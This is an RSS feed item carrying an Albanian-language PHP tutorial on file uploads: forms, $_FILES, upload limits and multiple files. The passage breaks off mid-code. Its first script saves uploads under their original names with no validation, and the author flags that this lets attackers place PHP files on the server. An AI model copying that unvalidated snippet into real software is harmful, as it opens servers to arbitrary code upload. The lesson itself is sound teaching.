<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Feniksi.com - Thesari i Njohurive</title>
	<atom:link href="http://feniksi.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://feniksi.com</link>
	<description></description>
	<lastBuildDate>Fri, 30 Dec 2011 18:33:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ngarkimi i Skedarëve në PHP</title>
		<link>http://feniksi.com/web/php/ngarkimi-i-skedareve-ne-php/</link>
		<comments>http://feniksi.com/web/php/ngarkimi-i-skedareve-ne-php/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 18:33:16 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2525</guid>
		<description><![CDATA[Ngarkimi i skedarëve është ndër veprimet më të shpeshta në aplikacione ku kërkohet interaksion me vizitorët. Do ju tregoj sa e thjeshtë është të ngarkoni skedarë me PHP, por gjithashtu do shihni një teknikë  për të menaxhuar më shumë se një fushë ngarkimi në të njëjtën kohë.]]></description>
			<content:encoded><![CDATA[<p>Ngarkimi i skedarëve është ndër opsionet më të shpeshta që u ofrohen vizitorëve. Mund të jetë për të ngarkuar foto, dokumenta apo çfarëdo që e bën aplikacionin më interaktiv dhe personal. Edhe nëse nuk ju janë dashur kurrë, e sigurtë është që do vijë momenti dhe pse mos të jeni të përgatitur?!</p>
<p>Për fatin tonë, PHP ofron nivel të lartë abstraksioni për ngarkimin e skedarëve. Si ç&#8217;do shihni në vijim, kodi që bën ngarkimin është fare minimal dhe më tepër do merremi me validimin e formës. Megjithatë, përpara se të merremi me kodin PHP, duhet fillimisht të ndërtojmë një formë HTML.</p>
<p>Kodi më poshtë do të krijojë një formë të gatshme për ngarkim skedarësh. Atributi &#8220;enctype&#8221; përcakton tipin e enkodimit me të cilin skedarët do të dërgohen, ndërsa vlera &#8220;multipart/form-data&#8221; tregon se skedarët do të jenë binarë. Ju mjafton të dini se për të krijuar një formë ngarkimi, duhet të vendosni egzaktësisht atë atribut dhe vlerë. Pjesa tjetër është thjeshtë një &#8220;input&#8221; i tipit &#8220;file&#8221;, i cili shfaq një buton për të zgjedhur skedarin, dhe një buton për të dërguar formën. Mbani mend që input-it i kam vënë emrin &#8220;skedari&#8221;. Do e përdorim më pas në kodin PHP.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">enctype</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;multipart/form-data&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;file&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;skedari&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Ngarko<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span><span style="color: #808080; font-style: italic;">&lt;!-- kodi PHP ne vijim do shkruhet ketu --&gt;</span><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span></li><li></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Superglobalja $_FILES</h2>
<p>Në momentin që dërgohet një formë si ajo më sipër, PHP krijon një variabël superglobale që përmban të gjitha informacionet e nevojshme rreth skedarit që po tentohet të ngarkohet. Variabla quhet $_FILES dhe në të vërtetë është një vektor multi-dimensional me disa çelësa. Po ju tregoj fillimisht çfarë vlere ka secili çelës.</p>
<p>$_FILES['skedari']['name'] => Emri i skedarit (psh: dokumenti.txt)<br />
$_FILES['skedari']['type'] => Tipi (MIME) i skedarit (psh: image/jpeg)<br />
$_FILES['skedari']['size'] => Madhesia e skedarit në byte (psh: 1024)<br />
$_FILES['skedari']['tmp_name'] => Emri i përkohshëm i skedarit<br />
$_FILES['skedari']['error'] => Kodi i gabimit nëse ngarkimi dështon</p>
<p>Do shihni që vektori thërritet me 2 çelësa. I pari është sigurisht emri i fushës së ngarkimit të cilës arbitrarisht ja vendosa &#8220;skedari&#8221;, por mund të jetë çfarëdo. Mjafton që çelësi i parë i vektorit të përputhet më atributin &#8220;name&#8221; në fushë. Çelësat e dytë janë ato që mbajnë informacionet rreth skedarit dhe pikërisht ato do të përdorim gjatë ngarkimit.</p>
<p>Për ta sqaruar pak proçesin, sepse me siguri mund t&#8217;ju bëjë konfuz; skedarët ngarkohen automatikisht në server, në direktorinë /tmp (/temp apo si do të jetë përcaktuar), kur forma dërgohet. Kjo ndodh edhe nëse nuk ka asnjë proçesim më pas. Por, në momentin që skripti mbaron egzekutimin, skedari i përkohshëm fshihet automatikisht. Detyra e PHP-së është që këtë skedar të përkohshëm (të aksesueshëm përmes $_FILES['skedari']['tmp_name']) ta lëvizë në direktorinë e duhur.</p>
<h2>Ngarkimi më i Thjeshtë i Mundshëm</h2>
<p>Le të prekim temën për të cilën besoj jeni më të interesuar. Do shkruaj pak rreshta kod PHP që realizon ngarkimin në formën më të thjeshtë të mundshme. Në seksionin tjetër do e zhvillojmë që të ofrojë më tepër siguri dhe validim.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span> </li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tmp_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tmp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$emri</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Skedari u ngarkua me sukses.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Ndodhi nje problem ne ngarkim!'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li><li></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Fillimisht kam kontrolluar nëse vektori $_FILES është krijuar, që do të thotë se forma është dërguar. Funksioni count() kthen numrin e elementëve të vektorit, ose 0 (zero) nëse nuk gjendet asnjë. Zero si numër, në PHP është ekuivalente me Boolean FALSE.</p>
<p>Funksioni tjetër që kam përdorur është move_uploaded_file(). Ky është një funksion i dedikuar për ngarkimin e skedarëve dhe bën spostimin e skedarit të përkohshëm ($tmp) në direktorinë e duhur. Nëse spostimi kryhet, funksioni kthen TRUE dhe printohet mesazhi i suksesit. Në të kundërt, funksoni kthen FALSE dhe printohet mesazhi i gabimit.</p>
<p>Në rastin më sipër, skedari spostohet në direktorinë ku ndodhet skripti, por mund të jetë çfarëdo direktorie. Në atë rast, parametri i dytë i funksionit move_uploaded_file() do të ishte: &#8220;direktoria/$emri&#8221;. Rëndësi ka që direktoria të jetë e shkrueshme dhe e aksesueshme nga user-i i serverit web.</p>
<h2>Ngarkim pak më i Komplikuar</h2>
<p>Deri tani keni parë një rast super të thjeshtë ngarkimi që realisht e bën punën. Problemi qendron se nuk ofron absolutisht asnjë validim dhe zero siguri. Kushdo mund të ngarkojë çfarëdo skedari në server, pa u kufizuar në format apo madhësi. Më keq akoma, një sulmues mund të ngarkojë një skedar PHP me të cilin bën ç&#8217;të dojë me serverin. Sigurisht, askujt nuk i intereson të ofrojë një mjet interaktiv i cili është vulnerabël.</p>
<p>Kodi në vijim do ngrihet në bazat që hodhëm më sipër, përsëri duke përdorur superglobalen $_FILES dhe funksionin move_uploaded_file(), por tashmë me kontroll të plotë mbi skedarin. Do kontrollohet madhësia, tipi i skedarit dhe emri do të zëvendësohet që të mos përmbajë karaktere të çuditshme.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span> </li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tmp_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$madhesia</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'size'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// pathinfo() me parametrin PATHINFO_EXTENSION kthen</span></li><li>	<span style="color: #666666; font-style: italic;">// shtojcen (extension) e skedarit. Kthimi do te jete</span></li><li>	<span style="color: #666666; font-style: italic;">// i tipit: jpg, png apo txt.</span></li><li>	<span style="color: #000088;">$shtojca</span> <span style="color: #339933;">=</span> <span style="color: #990000;">pathinfo</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$emri</span><span style="color: #339933;">,</span> PATHINFO_EXTENSION<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// Madhesia maksimale ne byte. Shumezimi me poshte do te</span></li><li>	<span style="color: #666666; font-style: italic;">// ktheje &quot;512 000&quot;, qe jane 500 KB.</span></li><li>	<span style="color: #000088;">$madhesia_maks</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1024</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">500</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// Nje vektor me shtojcat e lejuara</span></li><li>	<span style="color: #000088;">$skedaret_lejuar</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jpg'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'png'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'gif'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'bmp'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// Kontrollon nese emri nuk eshte bosh</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$emri</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$madhesia</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$madhesia_maks</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #666666; font-style: italic;">// in_array() kontrollon nese nje vlere ndodhet ne</span></li><li>			<span style="color: #666666; font-style: italic;">// vektorin e dhene. Ne rastin tone, kontrollon nese</span></li><li>			<span style="color: #666666; font-style: italic;">// shtojca ndodhet ne listen e shtojcave te lejuara.</span></li><li>			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$shtojca</span><span style="color: #339933;">,</span> <span style="color: #000088;">$skedaret_lejuar</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #666666; font-style: italic;">// preg_replace() zevendeson tekstin e kerkuar me nje</span></li><li>				<span style="color: #666666; font-style: italic;">// tekst te dhene ne baze te Regular Expressions.</span></li><li>				<span style="color: #666666; font-style: italic;">// Kodi qe kam shkruar per kerkim, gjen te gjitha karakteret</span></li><li>				<span style="color: #666666; font-style: italic;">// jo-alfanumerike (pervec minusit dhe pikes) dhe i fshin.</span></li><li>				<span style="color: #000088;">$emri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'|[^a-z0-9-.]|i'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$emri</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tmp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;direktoria/ngarkimeve/<span style="color: #006699; font-weight: bold;">$emri</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Skedari u ngarkua me sukses.'</span><span style="color: #339933;">;</span></li><li>				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Ndodhi nje problem ne ngarkim!'</span><span style="color: #339933;">;</span></li><li>				<span style="color: #009900;">&#125;</span></li><li>			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Skedari i zgjedhur nuk eshte i formatit te duhur.'</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Madhesia maksimale e lejuar eshte 500 KB.'</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Duhet te zgjidhni nje skedar me pare.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Nuk duhet të ketë shumë gjëra të reja këtu, sepse s&#8217;kam bërë asgjë më shumë se disa validime tipike. Megjithatë, komentet duhet t&#8217;ju sqarojnë edhe ato paqartësi të mundshme, sidomos për funksionet pathinfo(), in_array() dhe Regular Expression. Ajo që ka rëndësi këtu është të kuptoni se ngarkimi i skedarëve mund të krijojë probleme të mëdha sigurie nëse nuk merrni masat e duhura. Përgjithësisht, mjafton që formatet e skedarëve të lejuar të përcaktohet si një listë e bardhë, në mënyrë që të filtroni vetëm ato që duhen. Thënë këto, asnjëherë mos lejoni të ngarkohen skedarë të egzekutueshëm apo skripte që mund të thërriten më pas nga shfletuesi.</p>
<h2>Limitet në Ngarkim</h2>
<p>Ngarkimi i skedarëve është një proçes që kërkon resurse nga serveri dhe për skedarë të mëdhenj, kërkon kohë. Si i tillë, abuzimi i pa-vetëdijshëm është shumë i mundshëm dhe për këtë arsye, PHP ofron disa direktiva për ti konfiguruar detajet e ngarkimit. Problemi është se shpesh herë këto konfigurime limitojnë aftësinë e ngarkimit dhe pengojnë eksperiencën e mirë të vizitorëve në aplikacion. Do ju tregoj cilat janë këto direktiva dhe për çfarë shërbejnë, në mënyrë që ti ndryshoni sipas nevojave.</p>
<h3>file_uploads</h3>
<p>Kjo është direktiva që lejon ose bllokon ngarkimin e skedarëve. Vlera bazë është &#8220;1&#8243;, pra e aktivizuar dhe normalisht, nëse doni të ofroni ngarkim skedarësh, duhet të mbetet e tillë.</p>
<h3>upload_max_filezise</h3>
<p>Limiton madhësine maksimale që një skedar mund të ngarkohet. Vlera bazë është &#8220;2M&#8221; (2 Mega Byte) dhe mund të modifikohet me një vlerë si numër për të shprehur byte, ose në formën e lexueshme: 500K, 10M, 100M, etj. Nëse në aplikacionin tuaj parashikoni ti lejoni vizitorët të ngarkojnë skedarë më të mëdhenj, rriteni vlerën respektivisht. Megjithatë, llogarisni që skedarë të mëdhenj të ngarkuar nga shumë vizitorë do e mbushin diskun shpejt.</p>
<h3>post_max_size</h3>
<p>Limiton madhësine maksimale të të dhënave që dërgohen me POST, përfshirë edhe ngarkimin e skedarëve. Vlera bazë është &#8220;8M&#8221;. Si rregull, post_max_size duhet të jetë më e madhe se upload_max_filesize, duke llogaritur qe krahas skedarëve për ngarkim, forma mund të përmbajë edhe të dhëna të tjera.</p>
<h3>max_file_uploads</h3>
<p>Limiton numrin e skedarëve që mund të ngarkohen në të njëjtën kohë. Vlera bazë është &#8220;20&#8243;, që do të thotë se mund të ngarkohen deri në 20 skedarë njëkohësisht. Nuk besoj se do ju duhen më tepër, por nëse po, mund ta modifikoni lirisht. Ngarkimin e më shumë se 1 skedari njëkohësisht do e shpjegoj në seksionin në vijim.</p>
<h3>max_execution_time</h3>
<p>Limiton kohën maksimale që një skript mund të egzekutohet, me vlerë bazë &#8220;30&#8243; sekonda. Ndërsa nuk ka të bëjë direkt me ngarkimin e skedarëve, nëse koha që një skedari i duhet të ngarkohet e kalon kohën maksimale të egzekutimit, në fund ngarkimi do të dështojë. Nëse doni të ofroni ngarkim skedarësh të mëdhenj, sigurohuni ta rrisni kohën e egzekutimit në një vlerë që parashikon ngarkimin edhe në linja interneti jo shumë të fuqishme.</p>
<h3>max_input_time</h3>
<p>Limiton kohën maksimale që të dhëna nga POST ose GET mund të proçesohen. Vlera bazë është &#8220;-1&#8243; (infinit) dhe me siguri e tillë është edhe në konfigurimin tuaj të PHP-së, por sigurohuni në çdo rast. Duhet të jetë të paktën sa vlera e vendosur në max_execution_time.</p>
<h3>memory_limit</h3>
<p>Limiton memorjen (RAM) që i vihet në dispozicion një skripti. Vlera bazë është &#8220;8M&#8221; ose &#8220;16M&#8221; në varësi të versionit të PHP-së. Zakonisht nuk është ide e mirë të rritet shumë, sepse mund të kompromentojë proçeset e tjera të serverit nëse një skript konsumon shumë memmorje. Megjithatë, nëse serveri ka RAM mjaftueshëm, mund ta rrisni në një vlerë mesatare për të lejuar ngarkime skedarësh të mëdhenj. Si rregull, memory_limit duhet të jetë më e madhe se post_max_size dhe si rrjedhim, akoma më e madhe se upload_max_filesize. Vendosini vlera në raport me resurset e serverit.</p>
<h2>Ngarkimi i Disa Skedarëve në një Kohë</h2>
<p>Shpesh herë mund t&#8217;ju duhet të ofroni forma ngarkimi që i lejojnë vizitorët të zgjedhin më shumë se 1 skedar dhe ti ngarkojnë njëkohësisht. Praktika është pothuajse e njëjtë me ato që kemi bërë deri tani, vetëm se do bëjmë pak modifikime në formën HTML dhe do e shfrytëzojmë ndryshe superglobalen $_FILES. Kjo e fundit është pak e komplikuar, sidomos për ata që nuk kanë eksperiencë me vektorët multi-dimensionalë, por do tentoj ta mbaj sa më të thjeshtë dhe të qartë shpjegimin.</p>
<p>Mbani mend që limitet e përmendura më sipër janë edhe më të efektshme nëse ngarkohen 2 apo më shumë skedarë. Nëse një skedar 1MB kërkon 10 sekonda të ngarkohet, 5 skedarë nga 1MB kërkojnë 50 sekonda. Nëse rritet madhësia, kohët bëhen edhe më të mëdha, prandaj tentoni të gjeni një vijë të ndërmjetme.</p>
<p>Fillimisht do modifikoj formën HTML që të shfaqë 3 fusha ngarkimi. Shihni që të treja fushat janë egzaktësisht të njëjta dhe me të njëjtin emër: skedari[]. Kllapat katrore në fund të emrit bëjnë që fushat të trajtohen si vektor dhe jo si fusha individuale. Praktikisht, kam krijuar një vektor me emrin &#8220;skedari&#8221; brenda superglobales $_FILES. E kuptoj që është pak e komplikuar, por do shkojmë edhe aty. Për momentin, ju duhet të dini vetëm rolin e kllapave katrore në emër. Në të njëjtën formë mund të shtohen fusha të tjera për të ofruar 5, 10 apo 20 fusha ngarkimi.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">enctype</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;multipart/form-data&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;file&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;skedari[]&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;file&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;skedari[]&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;file&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;skedari[]&quot;</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Ngarko<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li><li></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Me modifikimin që kam bërë, nëse do dërgoja formën dhe të shihja përmbajtjen e superglobales $_FILES, do e kisha shumë më të qartë strukturën e tij. Pikërisht këtë do bëj dhe jam i sigurt që ato që kam thënë më sipër do marrin kuptim. Hidhini një sy:</p>
<p><pre>
name => 1.txt, 2.txt, 3.txt
type => text/plain, text/plain, text/plain
tmp_name => /tmp/phprXpPaM, /tmp/phpQRVX5c, /tmp/php2rgAXH
error => 0, 0, 0
size => 682, 1402, 880
</pre></p>
<p>Praktikisht krijohet një vektor multidimensional shumë i ngjashëm me atë që kemi parë deri tani. I vetmi ndryshim është se çelësat &#8220;name&#8221;, &#8220;type&#8221;, &#8220;tmp_name&#8221;, &#8220;error&#8221; dhe &#8220;size&#8221; nuk janë më vlera të thjeshta, por vektorë. Si ç&#8217;e shihni, çdo çelës mban 3 vlera për secilin skedar të zgjedhur. Nëse do ishin 10 fusha ngarkimi, secili çelës do mbante 10 vlera. Besoj është e qartë tashmë se si mund ti ngarkojmë të gjithë skedarët në një kohë, por patjetër që do ju tregoj një kod të plotë. Në këtë rast nuk jam fokusuar në validim, sepse atë tashmë duhet të dini ta bëni dhe s&#8217;ka fare ndryshim nga ajo që ju tregova më herët, por në shfletimin e vektorit dhe ngarkimin e skedarëve.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span> </li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #666666; font-style: italic;">// Merr vektorin qe ndodhet nen celesin &quot;name&quot;.</span></li><li>	<span style="color: #666666; font-style: italic;">// Vektori eshte i formes:</span></li><li>	<span style="color: #666666; font-style: italic;">// [name] =&gt; array('1.txt', '2.txt', '3.txt')</span></li><li>	<span style="color: #000088;">$emrat</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// Merr vektorin qe ndodhet nen celesin &quot;tmp_name&quot;.</span></li><li>	<span style="color: #666666; font-style: italic;">// Vektori eshte i formes:</span></li><li>	<span style="color: #666666; font-style: italic;">// [tmp_name] =&gt; array('1.txt', '2.txt', '3.txt')</span></li><li>	<span style="color: #000088;">$skedaret_tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'skedari'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tmp_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">// Shfleton vektorin e emrave per te mundesuar</span></li><li>	<span style="color: #666666; font-style: italic;">// ngarkimin individual te secilit skedar. Celesat</span></li><li>	<span style="color: #666666; font-style: italic;">// vendosen automatikisht ne vektor duke nisur nga zero</span></li><li>	<span style="color: #666666; font-style: italic;">// dhe jane te njejte per cdo vektor. Pra, vektori &quot;name&quot;</span></li><li>	<span style="color: #666666; font-style: italic;">// ka te njejtin numer elementesh dhe celesa me vektorin</span></li><li>	<span style="color: #666666; font-style: italic;">// &quot;tmp_name&quot;, &quot;type&quot;, &quot;size&quot; dhe &quot;error&quot;. Skedari i pare</span></li><li>	<span style="color: #666666; font-style: italic;">// ne vektorin &quot;name&quot; ka celesin &quot;0&quot; dhe kjo perputhet</span></li><li>	<span style="color: #666666; font-style: italic;">// me direktorine e perkohshme te skedarit te pare ne</span></li><li>	<span style="color: #666666; font-style: italic;">// vektorin &quot;tmp_name&quot;.</span></li><li>	<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$emrat</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$celesi</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$emri</span><span style="color: #009900;">&#41;</span> <span 